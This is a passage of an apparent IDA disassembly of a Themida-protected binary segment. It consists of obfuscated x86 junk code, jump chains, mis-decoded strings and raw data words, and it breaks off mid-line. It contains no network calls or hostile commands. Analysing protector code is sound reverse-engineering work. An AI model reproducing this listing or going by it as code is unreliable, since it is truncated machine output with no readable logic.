--------------------------------------------------------------------------- aNh@ db 'hê@',0 ; DATA XREF: Themida_:0059082Co align 4 aIGAhnw db '‰,$½£',0Ah db 1Bh,'ahw',0 dd 24048900h, 0EE6D45B8h, 0E9C53174h, 0BC08h, 42474FFh dd 51EBE958h, 0BD680000h, 8900006Eh, 4B9240Ch, 1000000h dd 8B04244Ch, 0C481240Ch, 4, 2370E9h, 0C5EA8100h, 5D071271h dd 4860E956h db 1, 0 ; --------------------------------------------------------------------------- loc_591016: ; CODE XREF: Themida_:0059BB64j mov [esp], edi push 59DCh mov [esp], ecx mov ecx, 59201139h push ecx pop edi pop ecx xor esi, edi mov edi, [esp] add esp, 4 jmp loc_5A3FDB ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 7Dh dd 68551055h, 2C1969ACh, 0EA2BE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59104A: ; CODE XREF: Themida_:00595A05j mov dx, [esp] sub esp, 4 mov [esp], edi push edi push esp pop edi add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5A581C ; --------------------------------------------------------------------------- dd 89243C89h, 0BE5655E7h, 4, 0DCE5E9h, 5BD88800h, 8058C600h dd 0F13083EEh, 2731685Ah, 1C890000h, 0D0B65224h, 800ACE80h dd 0C6807BC6h, 0FAC680F6h, 0BBE9F788h, 8100012Ch, 512055EDh dd 517EE9A6h, 0EF810000h, 0E59364Eh, 0B850F701h, 0E59364Eh dd 5E58C701h, 34FFF901h, 0C4835F24h, 2C18304h, 8B240C87h dd 0F7662424h, 166866F9h, 7583E928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5910EA: ; CODE XREF: Themida_:005A3531j push edx mov edx, 40E5D8Ch add edi, 27E60924h add edi, edx sub edi, 27E60924h pop edx push edi pop esi pop edi jmp loc_59F05A ; --------------------------------------------------------------------------- loc_591107: ; CODE XREF: Themida_:005A5861j or eax, eax jz loc_59F872 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_5947F9 ; --------------------------------------------------------------------------- loc_59111B: ; CODE XREF: Themida_:005A04ECj sub eax, 1EC2650h jmp loc_59987D ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8560E9h, 0F7E2D100h, 81DAF7D2h, 0D2548DEAh, 0F613E904h dd 89570000h, 4C781E7h, 83000000h, 65E904C7h, 47000076h dd 4A9FF781h, 0F7810B14h, 4722049Ch, 15FFB29h, 26BD55F3h dd 14C0647h, 242C8BEBh, 4C481h, 34FF0000h, 46E95E24h, 51000148h dd 0DCE95954h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_591183: ; CODE XREF: Themida_:005A179Ej add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, 1 add edi, 2FB80A22h add edi, ecx push esi jmp loc_59C1EB ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E924148Bh, 0CE78h, 8B2434FFh, 0C483243Ch db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_59DB4B ; --------------------------------------------------------------------------- loc_5911BD: ; CODE XREF: Themida_:005A1AFAj mov edi, esi jmp loc_59E811 ; --------------------------------------------------------------------------- loc_5911C4: ; CODE XREF: Themida_:00598E9Bj add edi, 54C72593h sub edi, edx sub edi, 54C72593h pop edx jmp loc_5A5046 ; --------------------------------------------------------------------------- dd 67FFF381h, 0BA525B89h, 7D0A6B59h, 148BD331h, 4C48324h dd 3687EB81h, 0F3813DA0h, 15E7702Ah, 0CAF8C381h, 0DD291162h dd 10AAEE9h, 69C58100h, 17E3350h, 0B692E9F5h, 33590000h dd 82E92404h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59121B: ; CODE XREF: Themida_:005A52F6j add ebp, edi mov edi, [esp] jmp loc_595B88 ; --------------------------------------------------------------------------- loc_591225: ; CODE XREF: Themida_:0059C4E1j pop eax sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_599FD8 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF857h, 51240489h, 7FE9D188h, 3100012Bh, 6AC0E9C6h dd 0F7430000h, 36B850DBh, 355F2F72h, 5E8371ACh, 264BE9h db 0 ; --------------------------------------------------------------------------- loc_591269: ; CODE XREF: Themida_:0059C2D6j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 4 push 6B2Eh mov [esp], ebx mov ebx, 750812h sub ecx, ebx pop ebx add ecx, edi add ecx, 750812h mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_596416 ; --------------------------------------------------------------------------- dw 0AF05h dd 0E975175Ch, 0BD3Bh ; --------------------------------------------------------------------------- loc_5912B4: ; CODE XREF: Themida_:00598377j sub ebx, ecx jmp loc_5A2582 ; --------------------------------------------------------------------------- loc_5912BB: ; CODE XREF: Themida_:0059D898j xor ebp, ebx pop ebx jmp loc_5A1ACA ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF7D3h, 0C180D9F6h, 59CB00A2h, 0EB80F328h, 24148B37h dd 4C481h, 0DD300000h, 0F068665Bh, 489660Bh, 85B35324h dd 30AEB151h, 0CB33E9CBh, 0E2890000h, 12BCDE9h, 48F5400h dd 24048124h, 4, 5124048Bh, 0BCE9E189h, 0FF0000B2h, 0B0E92434h dd 81000144h, 4ECh, 265CE900h, 0C870001h, 87D1F724h, 835F240Ch dd 0A9E904ECh, 89000042h, 0BB532434h, 5845087Eh, 4680C381h dd 0EB812635h, 7E7A4EFAh, 15BDE89h, 5E042474h, 12E8BE9h dd 243C8B00h, 8904C483h, 0ACE95EF7h, 57000095h, 8509E955h dd 0C5290000h, 0FFEF8958h, 2C8B2434h, 4C48324h, 26EBE9h dd 4C48100h, 1000000h, 11E959CAh db 3Ch, 1, 0 byte_59138F db 0FFh ; DATA XREF: Themida_:005908F0o a4Xphqb db '4$XPhŸB',0 dd 24248900h, 6BA2E9h, 81D7F700h, 0BB6EDFE7h, 61BB5339h dd 0C102627Eh, 0EB8106EBh, 7ED1541Bh, 3120B951h, 84E9677Fh dd 55000117h, 9727B0BDh, 92E94D53h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5913CF: ; CODE XREF: Themida_:00596898j add eax, 6E005AE2h mov ecx, eax pop eax mov edx, [esp] add esp, 4 add ecx, edi push ebx mov ebx, 0 add ebx, ecx add [ebx], edx pop ebx push dword ptr [esp] pop ecx push ecx push esp pop ecx jmp loc_594E54 ; --------------------------------------------------------------------------- dw 0E681h dd 6EAD2CAAh, 0AF95EE81h, 0F0291C6Eh, 27DAE95Eh, 0F2810000h dd 47A871B1h, 0E12AE9h db 0 ; --------------------------------------------------------------------------- loc_591415: ; CODE XREF: Themida_:0059A397j mov esi, 5DC346CCh add ebx, esi pop esi jmp loc_5A2D32 ; --------------------------------------------------------------------------- loc_591422: ; CODE XREF: Themida_:0059563Fj mov ebx, 2B4758E4h push 767Ch jmp loc_5A3C84 ; --------------------------------------------------------------------------- aISQ db '‰,$é\ï',0 db 0 ; --------------------------------------------------------------------------- loc_591439: ; CODE XREF: Themida_:0059606Dj shr edx, 7 sub esp, 4 mov [esp], ebx jmp loc_59EBB0 ; --------------------------------------------------------------------------- db 55h dd 4CF6BE56h, 0F58954E5h, 8324348Bh, 0E92104C4h, 3591E95Dh dd 0D0F70001h, 0FE42E9h db 0 ; --------------------------------------------------------------------------- loc_591465: ; CODE XREF: Themida_:005A230Dj pop dword ptr [esp] pop esp push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp sub esp, 4 mov [esp], edx mov edx, 2BDF7A87h mov ebp, 2E31F2F4h sub ebp, edx pop edx and ebp, 7D5F260Eh sub ebp, 24B1497Bh shl ebp, 8 sub ebp, 0A0D68900h mov edi, ebp pop ebp and eax, edi push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_59F012 ; --------------------------------------------------------------------------- db 8Bh dd 0E9532414h, 0A5F1h ; --------------------------------------------------------------------------- loc_5914C4: ; CODE XREF: Themida_:0059E9B7j xor eax, 92DFDFB0h jmp loc_5A2366 ; --------------------------------------------------------------------------- dw 8952h dd 0FEEBE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5914D6: ; CODE XREF: Themida_:0059F3B0j sub eax, 0BFA8F54Ah or edi, eax pop eax sub edi, 1 xor edi, 537A7FFFh add eax, edi mov edi, [esp] jmp loc_5A21DE ; --------------------------------------------------------------------------- loc_5914F4: ; CODE XREF: Themida_:00598D43j pop eax pop esi pop ebp jmp loc_59B9A3 ; --------------------------------------------------------------------------- loc_5914FC: ; CODE XREF: Themida_:005945A8j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5957E4 ; --------------------------------------------------------------------------- loc_59150D: ; CODE XREF: Themida_:00594D77j mov [esp], ecx push edx mov edx, 24h push eax push edx sub dword ptr [esp], 6E005AE2h jmp loc_59CBD8 ; --------------------------------------------------------------------------- dd 0E842C0BDh, 4F19E94Fh, 815B0000h, 4C1h, 240C3300h, 0E9240C31h dd 0D23Bh, 0CBE4E95Ah, 0E9500000h, 0F42Dh, 104C483h, 0BFE9C3h db 1, 0 ; --------------------------------------------------------------------------- loc_591556: ; CODE XREF: Themida_:00594364j pop esp add ecx, 2 jmp loc_594E1D ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4E98300h, 5C240C87h, 50242C89h, 4B8h, 58C58900h dd 11B7AE9h db 0 ; --------------------------------------------------------------------------- loc_59157D: ; CODE XREF: Themida_:0059EF11j push 3BD1h mov [esp], edi push ebx mov ebx, 6740112Fh mov edi, 0A7BEFCB4h push ebx mov ebx, 0A5524DEh add edi, 3D073F12h add edi, ebx sub edi, 3D073F12h pop ebx jmp loc_5A34F6 ; --------------------------------------------------------------------------- dw 0D001h dd 0A051E9h db 0 ; --------------------------------------------------------------------------- loc_5915B1: ; CODE XREF: Themida_:0059ECAAj mov edx, 46FE2D63h jmp loc_59F3E4 ; --------------------------------------------------------------------------- db 5Ah dd 2474FF51h, 48F5904h, 420FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5915CA: ; CODE XREF: Themida_:005A15E1j push ecx mov ecx, 4 push ecx pop edx jmp loc_59712E ; --------------------------------------------------------------------------- db 68h dd 3268h, 0BA241489h, 0D6B012FFh, 148BD529h, 4C48124h dd 29000000h, 0BF575DEEh, 30694815h, 5104E7C1h, 6A83BA52h dd 0D2B94DAAh, 0E9FF59B2h, 1E23h, 362ABE56h, 0EE815580h dd 79C04DC7h, 295EF729h, 243C8BFBh, 0AAF0E9h, 7E7C100h dd 5C35F781h, 0FE31EA14h, 23A1E9h, 34AD6800h, 34890000h dd 15A8E924h, 0D0F60000h, 0C004E8C0h, 732C08E0h, 0DF81E9h dd 81D6F700h, 6441B9F6h, 5EF00128h, 11269E9h, 0B0E95000h dd 1000094h, 0EE835FFEh, 24348704h, 8924248Bh, 0BE562424h dd 4, 0DD80E9h, 24143300h, 33241431h, 685C2414h, 6C30h dd 0B4A7E9h, 24248900h, 52E78957h, 24A9E9h, 8BDE2900h dd 0C481241Ch, 4, 4E2FE9h, 4EC8300h, 68FAE9h db 0 ; --------------------------------------------------------------------------- loc_5916B9: ; CODE XREF: Themida_:0059DCF1j dec ecx xor ecx, 83CA8482h xor eax, ecx jmp loc_5A2E55 ; --------------------------------------------------------------------------- db 80h dd 0F652C8CEh, 5A012454h, 68A4EE80h, 3CA8h, 0B5240C89h dd 0D4C5800Eh, 2859EE28h, 5E0E9F3h, 0BA520000h, 32804FA2h dd 1C94E281h, 0E2C11A3Fh, 0D9C28106h, 5291B614h, 0FA242C81h dd 58702C54h, 2C54FA05h, 24148B70h, 504C483h, 0EE46CB2Bh dd 290BEE81h, 0C6014399h, 7337E9h, 4EC8300h, 0E9240C89h dd 3CABh, 31241C33h, 1C33241Ch, 24248B24h, 9C240408h, 0FFF356E9h db 0FFh ; --------------------------------------------------------------------------- loc_591745: ; CODE XREF: Themida_:0059B72Bj sub esp, 4 mov [esp], edx mov edx, 43487A37h push ecx mov ecx, 0BCB785CDh add edx, ecx jmp loc_59A04D ; --------------------------------------------------------------------------- dd 0BB535F54h, 4, 815BDF01h, 4C7h, 243C8700h, 59CB015Ch dd 135B951h, 0CB213853h, 0E0BD5559h, 0F7223424h, 3EDC1DDh dd 6C77E9h, 51D3F600h, 0F580B6B5h, 59EB08EBh, 8099C380h dd 0D828FBF3h, 0E957E9h db 0 ; --------------------------------------------------------------------------- loc_5917A9: ; CODE XREF: Themida_:00599AF0j xchg ebp, [esp] pop esp jmp loc_59D4ED ; --------------------------------------------------------------------------- loc_5917B2: ; CODE XREF: Themida_:0059E7DFj push esi jmp loc_59686D ; --------------------------------------------------------------------------- dd 55B3F68h, 0E2815A23h, 156B46BBh, 11DF0E9h db 0 ; --------------------------------------------------------------------------- loc_5917C9: ; CODE XREF: Themida_:0059AFE5j pop ebx sub esi, 0F39304ABh push esi pop ebp mov esi, [esp] add esp, 4 shr ebp, 3 push ebx jmp loc_59ED01 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89240489h, 405E0h, 0C0830000h, 24048704h, 0E924248Bh dd 12655h, 4C4835Bh, 730BBE56h, 0F129296Bh, 20BE565Eh dd 81684B12h, 896E9ECEh, 8EEE814Eh, 814E714Bh, 72251FF6h dd 5EF1013Ch, 0D7E9F929h, 810000F6h, 4C4h, 506E900h db 1, 0 ; --------------------------------------------------------------------------- loc_591836: ; CODE XREF: Themida_:005A1A53j inc esi neg esi sub esi, 554D519Dh sub edi, esi jmp loc_5A4370 ; --------------------------------------------------------------------------- word_591846 dw 77FFh ; DATA XREF: Themida_:005908DCo dd 19589D1Ch, 0E99C2404h, 0FFFFF247h, 3E07C381h, 0C30154EAh dd 7C2CBD55h, 0E9450B3Eh, 14103h, 81241C8Bh, 4C4h, 2434FF00h dd 4C48159h, 80000000h, 0DAF635CAh, 1A79E9h, 4BA00h, 81520000h dd 56B8242Ch, 0E95D4B9Fh, 799Bh, 4C481h, 0DA010000h, 4E24EA81h dd 875B51DFh, 0E95C2414h, 7898h ; --------------------------------------------------------------------------- loc_5918B0: ; CODE XREF: Themida_:00593AD8j neg edx and edx, 1E3A3558h add edx, 0F1C5CFBCh mov edi, edx jmp loc_59C422 ; --------------------------------------------------------------------------- aIS6l db 'ˆÂé6‹',0 align 4 loc_5918CC: ; CODE XREF: Themida_:0059FAF2j pop ecx neg edx not edx sub edx, 0D8C9B33Ch sub eax, edx pop edx jmp loc_590B5F ; --------------------------------------------------------------------------- loc_5918DF: ; CODE XREF: Themida_:00596390j pop esp push eax mov eax, esp add eax, 4 push ebx jmp loc_5952A6 ; --------------------------------------------------------------------------- dw 82B9h dd 13EB307h, 0BE959CDh, 0F7000032h, 3AC181D1h, 101B9D7h dd 0CA2D59CBh, 134E868h, 68CA05D8h, 55B34E8h, 2, 31240433h dd 4332404h, 24248B24h, 47C68h, 241C8900h, 0EC81E389h dd 4, 0B8240489h, 4, 3C1C381h, 0CCE90AE8h, 3100005Eh, 0C3815DEBh dd 524942E8h, 0B5CB8143h, 51430732h, 5CE5E9h db 0 ; --------------------------------------------------------------------------- loc_59195D: ; CODE XREF: Themida_:0059255Fj or edx, eax shl edx, 1 push 15BFh mov [esp], ebx push 0FFFFFFFFh mov ebx, [esp] add esp, 4 sub [edi+24h], ebx push dword ptr [esp] jmp loc_5986CC ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FDE3h, 56B9E959h, 66590000h, 0B6525351h, 4BECE908h db 2 dup(0) word_59199A dw 8B66h ; DATA XREF: Themida_:00590834o dd 0EC81240Ch, 4, 125E1E9h, 59C80900h, 0BB53D8F7h, 70F8424Bh dd 0E903E3C1h, 0FA23h ; --------------------------------------------------------------------------- loc_5919BC: ; CODE XREF: Themida_:00598F2Bj mov edi, esp add edi, 4 jmp loc_59B355 ; --------------------------------------------------------------------------- aTssz db 'T鑇',0 db 0 byte_5919CF db 0FFh ; DATA XREF: Themida_:005907D8o a4Xhda db '4$XhDA',0 align 4 dd 54241C89h, 5B2434FFh, 50E28952h, 1393EE9h, 0DD295D00h dd 6C5EE9h, 242C8900h, 95F1E9h, 0E9C60100h, 481Ch ; --------------------------------------------------------------------------- loc_591A00: ; CODE XREF: Themida_:00598FC0j push esi mov esi, esp jmp loc_59E1CD ; --------------------------------------------------------------------------- loc_591A08: ; CODE XREF: Themida_:0059ADFFj push ebp mov ebp, 31D03121h jmp loc_593CDE ; --------------------------------------------------------------------------- loc_591A13: ; CODE XREF: Themida_:005996EFj mov edx, 33AE77DDh sub ebp, edx pop edx sub esp, 4 mov [esp], ecx jmp loc_59D369 ; --------------------------------------------------------------------------- db 68h, 99h, 7 dd 0CEE90000h db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591A33: ; CODE XREF: Themida_:005A3AECj mov [esp], edx jmp loc_593F21 ; --------------------------------------------------------------------------- db 89h dd 3DB3241Ch, 0E901C380h, 0DBEBh, 0C181E189h, 4, 8704E983h dd 0E95C240Ch, 7E7Ch ; --------------------------------------------------------------------------- loc_591A5C: ; CODE XREF: Themida_:0059D8C6j add ecx, eax mov eax, [esp] add esp, 4 jmp loc_592375 ; --------------------------------------------------------------------------- dd 53585450h, 0D8477ABBh, 0B850511Eh, 0E127B88Ah, 158C189h dd 0F09FE9CBh, 0C781FFFFh, 4, 5704C783h, 42474FFh, 24048F5Fh dd 6824248Bh, 5DA0h, 0BD242C89h, 256F2916h, 8105E5C1h dd 4B0B4FC5h, 4EDC1B8h, 116CBF57h, 0EEE925C4h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591ABF: ; CODE XREF: Themida_:0059A508j mov [esp], esi push 242642Ch pop esi push ebx mov ebx, 0EA309AEh sub ebx, 0F3AAE00Ah and esi, ebx pop ebx and esi, 1AF222A4h jmp loc_59B330 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481243Ch, 4, 4C781h, 0C7810000h, 4, 5C243C87h, 4EC81h dd 4890000h, 0DBCB824h, 1E96544h, 0B000012Ah, 66C328F6h dd 0E924048Bh, 436h, 7E1C15Fh, 0F181D9F7h, 4309A732h, 0C8BCF29h dd 0A8D1E924h, 0E2000000h, 8324048Bh, 0F28004C4h, 2A20E91Fh dd 4050000h, 83000000h, 0A0E904C0h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_591B4F: ; CODE XREF: Themida_:005A1BC4j pop ebx xchg edi, [esp] pop esp mov [esp], esi mov esi, 0F9B197Bh shl esi, 1 jmp loc_5A02AA ; --------------------------------------------------------------------------- db 51h dd 0FFFFFFB9h, 0C9EE81FFh, 813F9568h, 907A38C6h, 0E9CE294Eh dd 194Ch, 241CF751h, 2E9C159h, 5704E1C1h, 30506856h, 0F75E25E6h dd 22EE81DEh, 89A2B5D7h, 6252E9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591B9E: ; CODE XREF: Themida_:005999E1j sub edi, 51EF6E66h jmp loc_5924B4 ; --------------------------------------------------------------------------- loc_591BA9: ; CODE XREF: Themida_:00594167j mov [esp], edx push eax pushf jmp loc_5A1DBE ; --------------------------------------------------------------------------- aIxsO db '‰åé[Ž',0 align 2 aHbrupss db 'hbRUpéè>',0 align 4 dd 54A6E381h, 8143130Ah, 0A501FEBh, 5BDA0110h, 4B951h dd 0EA810000h, 69A6BA3h, 10456E9h, 0E9515200h, 0D599h dd 0FFFFB850h, 0C629FFFFh, 8B5EE9h db 0 ; --------------------------------------------------------------------------- loc_591BF9: ; CODE XREF: Themida_:0059AE33j mov edi, 44AD59C9h jmp loc_59C271 ; --------------------------------------------------------------------------- loc_591C03: ; CODE XREF: Themida_:00594F82j mov esi, ebx pop ebx sub eax, esi pop esi pop edx jmp loc_5A4D68 ; --------------------------------------------------------------------------- db 89h dd 15E9243Ch, 6800010Ch, 5DC015BBh, 53D9F759h, 0A33989BBh dd 74D4E91Ah, 0F74D0000h, 0EBF581DDh, 81246131h, 1BF2B1EDh dd 5DE929EBh, 0E959CA01h, 6413h, 42474FFh, 0FFF329E9h dd 4C483FFh, 34FFD021h, 0EC815A24h, 4, 13829E9h, 5AD72900h dd 855CE9h db 0 ; --------------------------------------------------------------------------- loc_591C69: ; CODE XREF: Themida_:0059B3B9j xor edi, [esp] mov esp, [esp] push 5F75h jmp loc_590C38 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0B1h dd 814AE100h, 4ECh, 24048900h, 7F22E9h db 0 ; --------------------------------------------------------------------------- loc_591C8D: ; CODE XREF: Themida_:00596DB4j pop edi push ebx mov ebx, 7C3238AFh neg ebx push esi mov esi, 7C3238B1h add ebx, esi pop esi add ebp, ebx jmp loc_595008 ; --------------------------------------------------------------------------- loc_591CA6: ; CODE XREF: Themida_:00596847j add edx, 7EF756B1h add edx, ebx jmp loc_59C825 ; --------------------------------------------------------------------------- loc_591CB3: ; CODE XREF: Themida_:0059509Fj pop edx push ecx pop ebx jmp loc_5A4772 ; --------------------------------------------------------------------------- db 5Eh dd 4EC81h, 0C890000h, 10E6E924h, 148B0000h, 4C48124h, 28000000h dd 0A0C380C3h, 683EC380h, 2CDDh, 0E9241489h, 0BD16h, 924248Bh dd 0E99C2404h, 0FFFFEDA7h, 0E95EF531h, 12D41h, 0F084E981h dd 0CE299233h, 25EE8159h, 816BEA0Fh, 5D5ED7EEh, 0E9C60122h dd 87F5h ; --------------------------------------------------------------------------- loc_591D18: ; CODE XREF: Themida_:005A1657j sub esp, 4 mov [esp], edx mov edx, 31F471D4h sub ecx, edx pop edx pop edi push ebx mov ebx, 2 jmp loc_5A211E ; --------------------------------------------------------------------------- loc_591D35: ; CODE XREF: Themida_:00599A68j push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] pop esp add esi, 4 jmp loc_59497C ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 1Ch dd 4C48324h, 0FFED42E9h, 57E689FFh, 0B34896BFh, 0B415E94Ch dd 0D1890000h, 5A3E055Ah, 0C8014E55h, 555A3E2Dh, 0B262E94Eh dd 4680000h, 5A000000h, 2545BA52h, 0D1292B8Eh, 81D1015Ah dd 8E2545C1h, 0E9525A2Bh, 11FFCh, 4240483h, 83242C8Bh dd 456804C4h, 0E9000050h, 1ADBh, 5C241433h, 0C8B60F66h dd 29DE68h, 0F12E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_591DBE: ; CODE XREF: Themida_:00597EA8j pop ecx add ebx, ecx pop ecx jmp loc_59DEC8 ; --------------------------------------------------------------------------- db 5Fh dd 0E904EB83h, 97BDh, 895BDD01h, 91E95DEFh, 8100003Fh dd 2ECh, 34896600h, 66596624h, 5124348Bh, 0C1815954h, 4 dd 0E902C183h, 0E778h, 5247D7F7h, 0A14268BAh, 0F7FA8759h dd 0E9FA31D7h, 131E4h, 0E19F381h, 0D3F711A7h, 118A7E9h db 0 ; --------------------------------------------------------------------------- loc_591E1D: ; CODE XREF: Themida_:00597529j push 5FBFh mov [esp], edx jmp loc_5A1FC4 ; --------------------------------------------------------------------------- dw 335Eh dd 14312414h, 0FF76E924h, 3C87FFFFh, 5CE95C24h, 0C0FFFFECh dd 0EB8005EBh, 5AEB8032h, 0C380DBF6h, 0E9D800CEh, 8B3Ch dd 0CFBF5752h, 0E9241A79h, 3FD3h dword_591E60 dd 31E368h, 24348900h, 2935AFBEh, 4EC835Dh, 5362E9h, 575BB900h ; DATA XREF: Themida_:00590934o dd 0E1D16304h, 8891E9h, 14895C00h, 0FEF0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591E8A: ; CODE XREF: Themida_:0059DD76j add esp, 4 push edi mov edi, 3D1671E0h jmp loc_593E0D ; --------------------------------------------------------------------------- dd 8324148Bh, 0BE5604C4h, 2A9417B8h, 68AAE681h, 0E9462B6Ah dd 86E1h ; --------------------------------------------------------------------------- loc_591EB0: ; CODE XREF: Themida_:0059AE84j mov [esp], ecx jmp loc_5A1387 ; --------------------------------------------------------------------------- dd 12Dh, 1CB0D00h, 0E8C16E9Dh, 192B3502h, 2D400FFBh, 0C4C67D55h dd 8158C601h, 34455BEEh, 0BB535F59h, 4, 335BDE01h, 34312434h dd 24343324h, 2434FF5Ch, 8324048Bh, 54E904ECh, 0B80000AFh dd 4, 6858C301h, 1879h, 1154EE9h db 0 ; --------------------------------------------------------------------------- loc_591F0D: ; CODE XREF: Themida_:00590AE0j sub esp, 4 mov [esp], ebp mov ebp, 9AB6556h jmp loc_59B761 ; --------------------------------------------------------------------------- loc_591F20: ; CODE XREF: Themida_:005A3FE9j shl edx, 6 add edx, 1 push 5BB1h mov [esp], edi push 2A304F13h mov edi, [esp] jmp loc_5A5426 ; --------------------------------------------------------------------------- loc_591F3B: ; CODE XREF: Themida_:00595E9Aj xor ebx, esi push 4FE7h mov [esp], eax jmp loc_592F45 ; --------------------------------------------------------------------------- dw 433h aS_6 db '$éÚ&',0 align 2 dw 0C481h dd 2, 8904EC83h, 0E3B9240Ch, 0E9166A13h, 966h, 24ECF81h dd 0EF817B96h, 34B3CC0Fh, 11CFEE81h, 0FE015A8Fh, 6D77E9h dd 4C48100h, 0E9000000h, 0FEC0h ; --------------------------------------------------------------------------- loc_591F8C: ; CODE XREF: Themida_:00592C9Cj push ebx mov bh, 8Fh not bh inc bh and bh, 20h neg bh push eax push ebx mov bl, 0AFh mov ah, bl pop ebx add bh, ah pop eax xor bh, 0F7h jmp loc_590EFF ; --------------------------------------------------------------------------- dw 34FFh aSt db '$é’Ô',0 align 2 loc_591FB2: ; CODE XREF: Themida_:0059E562j and eax, edx mov edx, [esp] jmp loc_5A0D16 ; --------------------------------------------------------------------------- loc_591FBC: ; CODE XREF: Themida_:0059F2F7j xchg ecx, [esp] pop esp jmp loc_59E076 ; --------------------------------------------------------------------------- loc_591FC5: ; CODE XREF: Themida_:00593A0Dj sub esp, 4 mov [esp], ebx jmp loc_5963A1 ; --------------------------------------------------------------------------- dd 5BF82859h, 0CEA5E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_591FDA: ; CODE XREF: Themida_:0059B8C8j mov ebp, esp jmp loc_5A3ADC ; --------------------------------------------------------------------------- loc_591FE1: ; CODE XREF: Themida_:005A0884j push ebp jmp loc_595B5E ; --------------------------------------------------------------------------- db 83h dd 525102C4h, 3A5E68h, 2F38E900h, 0E9310001h, 59CD295Dh dd 10F8DE9h, 58E70800h, 0EF80DFF6h, 0E9DFF601h, 0D5F0h ; --------------------------------------------------------------------------- loc_592010: ; CODE XREF: Themida_:0059B76Ej dec esi jmp loc_59F081 ; --------------------------------------------------------------------------- dw 0D301h dd 2C3815Ah, 53000000h, 42474FFh, 83241C8Bh, 48F04C4h dd 0E1CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592032: ; CODE XREF: Themida_:0059294Cj add esi, 1278303Ah pop ecx push ecx mov ecx, 4 sub esi, 1A6518F7h add esi, ecx add esi, 1A6518F7h pop ecx xchg esi, [esp] jmp loc_594EE9 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 0EC815200h, 4, 0FEEEE9h, 243C8900h, 6B4F68h, 24248900h dd 4EC81h, 0C890000h, 4B924h, 0CDE90000h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592087: ; CODE XREF: Themida_:0059E401j mov ebx, 4 jmp loc_5966D9 ; --------------------------------------------------------------------------- db 5Ch, 59h, 88h dd 2434FF1Ah, 83241C8Bh, 0C48104C4h, 4, 0B306E9h db 0 ; --------------------------------------------------------------------------- loc_5920A9: ; CODE XREF: Themida_:005A50C7j add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] imul cl movzx cx, ah push small 1BC0h mov [esp], cx movzx cx, al push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5920D5: ; CODE XREF: Themida_:0059D62Ej sub dl, 98h mov bl, dl pop edx mov al, bl pop ebx sub al, 3Ah sub bl, 0B9h push ecx jmp loc_5A2DAD ; --------------------------------------------------------------------------- loc_5920E9: ; CODE XREF: Themida_:0059B41Dj sub esi, 5EDB3F25h jmp loc_59B498 ; --------------------------------------------------------------------------- dd 8108EAC1h, 307197EAh, 0D1EA817Eh, 181EF9Eh, 0EA3BE9D5h dd 0C89FFFFh, 0C0C8B524h, 0ED8005EDh, 1ED8073h, 80BEE580h dd 0EA8810F5h, 12586E9h, 241C8B00h, 5604C483h, 0DE75E957h dd 48580000h, 0F635D0F7h, 14D5A13h, 24048BC3h, 8104C483h dd 0BF314EEAh, 6EEA810Fh, 56607530h, 12A43E9h db 0 ; --------------------------------------------------------------------------- loc_592155: ; CODE XREF: Themida_:005980D5j mov esi, [esp] push ebx jmp loc_59FC5B ; --------------------------------------------------------------------------- dw 487h dd 87D0F724h, 0F4E92404h, 8100002Ah, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 4BE2434h, 81000000h, 1C5526C7h, 53C7816Dh dd 12F0718h, 2BE9F7h db 1, 0 ; --------------------------------------------------------------------------- loc_592196: ; CODE XREF: Themida_:0059D728j add cl, dh push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 inc cl push ebx push edx push ecx mov cl, 0CCh mov dh, cl pop ecx mov bl, 0Dh xor bl, dh jmp loc_5A300A ; --------------------------------------------------------------------------- db 5Ah, 80h, 0F4h aXaE db 'X€Æ¥',0 db 0E6h, 80h, 0EEh dd 0F02858A5h, 5A2434FFh, 9512E9h db 0 ; --------------------------------------------------------------------------- loc_5921D5: ; CODE XREF: Themida_:00594A88j add eax, 675B2CD0h xor eax, 7F7F1E36h jmp loc_595095 ; --------------------------------------------------------------------------- dd 0E9241487h, 